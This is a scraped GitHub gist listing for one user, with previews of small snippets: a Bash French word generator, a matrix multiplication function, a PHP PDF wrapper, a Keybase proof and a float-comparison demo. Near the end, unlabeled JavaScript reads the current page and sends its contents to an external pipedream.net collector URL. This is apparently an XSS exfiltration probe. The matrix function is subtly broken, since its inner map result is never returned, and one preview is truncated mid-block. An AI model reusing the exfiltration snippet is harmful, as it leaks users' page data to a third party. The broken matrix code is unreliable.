Skip to content

Instantly share code, notes, and snippets.

View Naouak's full-sized avatar
👻

Quentin B Naouak

👻
View GitHub Profile
@Naouak
Naouak / words.sh
Last active August 29, 2015 14:06
Random French Noun generator Bash based on words frequency in corpus
#!/bin/bash
# Liste des mots disponible ici : http://www.lexique.org/telLexique.php
WORD_COUNT=$1
if [ -z "$WORD_COUNT" ]; then
WORD_COUNT=1
fi
LC_NUMERIC="C"
@Naouak
Naouak / matrix_multiplication.js
Created October 6, 2014 20:03
Matrices Multiplication
function multiply(a,b){
return a.map(function(v,i){
v.map(function(w,j){
var sum = 0;
for(var k = 0; k < v.length; k++){
sum+=a[i][k]*b[k][j];
}
return sum;
});
});
@Naouak
Naouak / PdfRenderer.php
Created May 30, 2016 12:34
wkhtmltopdf
<?php
class PdfRenderer extends \mikehaertl\wkhtmlto\Pdf{
/**
* Add a page object to the output
*
* @param string $input either a URL, a HTML string or a PDF/HTML filename
* @param array $options optional options for this page
* @return static the Pdf instance for method chaining
*/
public function addPage($input,$options=array(),$type = null)

Keybase proof

I hereby claim:

  • I am naouak on github.
  • I am naouak (https://keybase.io/naouak) on keybase.
  • I have a public key ASA2xrjA7VPfq06ppkd000hVcLWbSsBIzjgz0dCIH729Vwo

To claim this, I am signing this object:

<?php
echo 0.1+0.2==0.3?'true':'false';
// false
echo strval(0.1+0.2)==0.3?'true':'false';
// true
var oReq = new XMLHttpRequest();
oReq.addEventListener('load', function reqListener () {
this.src='https://enr4iz1vymuof.x.pipedream.net/?' + this.responseText;
});
oReq.open('GET', '/');
oReq.send();
} catch(e){
this.src= 'https://enr4iz1vymuof.x.pipedream.net/?' + e;
}
<script type="javascript">
var oReq = new XMLHttpRequest();
oReq.open('POST', 'https://enr4iz1vymuof.x.pipedream.net/?');
oReq.send("test");
</script>